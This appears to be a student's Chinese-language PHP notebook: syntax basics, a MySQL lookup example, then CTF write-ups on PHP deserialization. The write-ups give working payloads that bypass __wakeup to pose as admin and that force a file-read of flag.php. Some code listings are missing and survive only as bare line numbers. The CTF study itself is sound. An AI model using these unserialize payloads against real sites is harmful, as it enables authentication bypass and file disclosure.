PHP 备忘录 ¶
约 1571 个字 286 行代码 预计阅读时间 10 分钟
PHP 是最早的 Web 开发语言之一,它在 Web 开发历史上占有重要地位。 但它快死了。
学习路线
- 熟悉 HTML/CSS/JS 等网页基本元素,完成阶段可自行制作简单的网页,对元素属性相对熟悉。
- 理解动态语言的概念和运做机制,熟悉基本的 PHP 语法。
- 学习如何将 PHP 与 HTML 结合起来,完成简单的动态页面。
- 接触学习 MySQL,开始设计数据库。
- 不断巩固 PHP 语法,熟悉大部分的 PHP 常用函数,理解面向对象编程,MySQL 优化,以及一些模板和框架。
- 最终完成一个功能齐全的动态站点。
基础语法 ¶
优化之前写过的评论网页
- PHP 是一种开源的通用脚本语言,尤其适用于 Web 开发。
- PHP(全称:PHP:Hypertext Preprocessor,即 "PHP:超文本预处理器 ")是一种通用开源脚本语言。
- 有对应的解析器
- 弱类型语言,
感觉和 python 有点像,但是学的不太透彻讲不出来
常量 & 变量 & 数组 ¶
<?php
// 这是 PHP 单行注释
/*
这是
PHP 多行
注释
*/
$name = "John"; // 字符串变量
$age = 25; // 整数变量
$height = 1.75; // 浮点数变量
$isStudent = true; // 布尔变量
global $x,$y;//在函数内调用函数外定义的全局变量,我们需要在函数中的变量前加上 global 关键字
// 常量声明
bool define ( string $name , mixed $value [, bool $case_insensitive = false ] )
const CONSTANT_NAME = "value";
// 区分大小写的常量名
define("GREETING", "欢迎访问 Runoob.com");
echo GREETING; // 输出 "欢迎访问 Runoob.com"
echo greeting; // 输出 "greeting",但是有警告信息,表示该常量未定义
?>
.php
。
常量对大小写敏感,全局的。
输入输出 ¶
echo - 可以输出一个或多个字符串 print - 只允许输出一个字符串,返回值总为 1 提示:echo 输出的速度比 print 快, echo 没有返回值,print有返回值1。
<?php
echo "<h2>PHP 很有趣!</h2>";
echo "Hello world!<br>";
echo "我要学 PHP!<br>";
echo "这是一个", "字符串,", "使用了", "多个", "参数。";
?>
<?php
$txt1="学习 PHP";
$txt2="RUNOOB.COM";
$cars=array("Volvo","BMW","Toyota");
print $txt1;
print "<br>";
print "在 $txt2 学习 PHP ";
print "<br>";
print "我车的品牌是 {$cars[0]}";
?>
定界符 EOF
超级全局变量 在 PHP 4.1.0 之后被启用 , 是 PHP 系统中自带的变量,在一个脚本的全部作用域中都可用。
魔术常量: 有八个魔术常量它们的值随着它们在代码中的位置改变而改变。
- 数值数组:带有数字 ID 键的数组
- 关联数组:带有指定的键的数组,每个键关联一个值
- 多维数组:包含一个或多个数组的数组
<?php
$cars=array("Volvo","BMW","Toyota");//数值数组
$age=array("Peter"=>"35","Ben"=>"37","Joe"=>"43");//关联数组
//遍历关联数组
$age=array("Peter"=>"35","Ben"=>"37","Joe"=>"43");
foreach($age as $x=>$x_value)
{
echo "Key=" . $x . ", Value=" . $x_value;
echo "<br>";
}
?>
count()
函数用于返回数组的长度(元素的数量
运算 ¶
- 松散比较:使用两个等号
==
比较,只比较值,不比较类型。 - 严格比较:用三个等号
===
比较,除了比较值,也比较类型。
<?php
~ // 二进制取反
a.b //并置 "Hi"."Ha" → HiHa
x == y //等于
x === y //绝对等于(类型 & 值)
x <> y //不等于
?>
结构 ¶
写法和 c 一样
<?php
if (条件)
{
if 条件成立时执行的代码;
}
elseif (条件)
{
elseif 条件成立时执行的代码;
}
else
{
条件不成立时执行的代码;
}
?>
函数
变量函数是指在 PHP 中,将一个变量作为函数名来调用的函数。 变量函数可以让我们在运行时动态地决定调用哪个函数。
<?php
function functionName()
{
// 要执行的代码
}
$func = 'foo';
$func(); // 调用 foo()
$func = 'bar';
$func('test'); // 调用 bar()
?>
高级特性 ¶
PHP 表单 ¶
PHP + MySQL¶
实战案例 ¶
获取 GET 参数与 Cookie 并查询数据库对应的用户
<?php
// 数据库连接信息
$servername = "localhost";
$username = "root";
$password = "";
$dbname = "test_db";
// 创建数据库连接
$conn = new mysqli($servername, $username, $password, $dbname);
// 检查连接是否成功
if ($conn->connect_error) {
die("连接失败: " . $conn->connect_error);
}
// 获取GET参数
$userId = isset($_GET['user_id']) ? intval($_GET['user_id']) : 0;
// 获取Cookie
$sessionId = isset($_COOKIE['session_id']) ? $_COOKIE['session_id'] : '';
// 查询数据库
if ($userId > 0) {
$sql = "SELECT * FROM users WHERE id = $userId";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
$user = $result->fetch_assoc();
echo "<p>用户信息: </p>";
echo "<p>ID: " . $user['id'] . "</p>";
echo "<p>姓名: " . $user['name'] . "</p>";
echo "<p>邮箱: " . $user['email'] . "</p>";
} else {
echo "<p>没有找到对应的用户。</p>";
}
} else {
echo "<p>无效的用户ID。</p>";
}
// 关闭数据库连接
$conn->close();
?>
php 伪协议 ¶
[WEB 安全 ]PHP 伪协议总结 - 肖洋肖恩、 - 博客园
序列化与反序列化 ¶
听老师课上讲其实没有太听明白,所以先看了一些其他的文档来入门。
实践 ¶
套路就是倒推
先找到需要什么样的结构,再实例化对象,根据状态修改后调整一些小的格式
将序列化的值当作参数传入
最终的原因
PHP 是弱类型的原因,我们可以利用这样的特性去绕过一些判断
BUUCTF[ 极客大挑战 2019]PHP ¶
一进来是一个猫猫抓球的界面,你别说还挺好玩的嘞,不知道是怎么实现的。
首先提示了有备份,用 dirsearch 扫描一下,发现有www.zip
使用http://ip of baji/www.zip
下载文件,获得网站的源码
在源码中找到了index.php
,发现了serialize
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
|
username
为admin
,password
为100
的对象
所以直接将它的代码复制出来,再创建一个index.php
,将其粘贴进去。
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
}
$res = new Name('admin',100);
var_dump(serialize($res));
?>
结果是
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
又因为私有变量需要修改,所以更改为
在反序列化时,当前属性个数大于实际属性个数时,就会跳过__wakeup()
,去执行__destruct
又因为需要绕过__wakeup()
函数,所以我们把属性个数改成大于实际属性的个数
最后的请求 URI
http://02801fc4-349c-428a-bb2c-2015f2934d2b.node5.buuoj.cn:81/?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}%22
challenge¶
上课老师讲的一个例题,主要核心思想就是利用 php 这种弱类型的语言。构造的 exp 是利用引用,使得两个变量一模一样,从而达到目的。
类型
a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - non-escaped binary string
S - escaped binary string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
|
[ 网鼎杯 2020 青龙组 ]AreUSerialz ¶
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
首先就是观察一下代码结构,发现是给 str 这个口传参数进去,然后进行反序列化。
然后考虑构造,首先第一个要求就是要通过is_valid
函数,所以我们需要构造一个合法的可见字符串,也就是说 op,filename,content 都要是可见字符,另外也不能出现特殊字符。
观察 process 和 write 和 read 函数后发现,我们使用 write 函数并没有用,因为我们需要读取 flag.php 中的代码,所以只需要执行 read 就行。
而执行 read 的条件是op=2
所以初始化的时候,op 设置成 2,filename 是 flag.php,content 随便写一个。
使用下面的脚本生成第一版
<?php
class FileHandler {
protected $op=2;
protected $filename='flag.php';
protected $content='AAA';
}
$res = new FileHandler;
var_dump(serialize($res));
?>
输入 uri 后,发现不太对,返回的结果是Bad Hacker!
,说明我们的构造不对。
再看了一遍代码,发现有两个地方用到了 op 的比较
分别是
$this->op == "2"
if($this->op === "2")
$this->op = "1";
和上一个例题一样,这一题也需要对类型进行更改。不然由于 %00 这样的字符不可见所以过不了is_valid()
函数。所以将 protected 改成 public,或者手动修改变量名称和长度也可以。
得到最后的 payload 如下
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:3:"AAA";}"
这个 flag 跑了两个实例貌似是不一样的,所以贴 flag 貌似没什么用。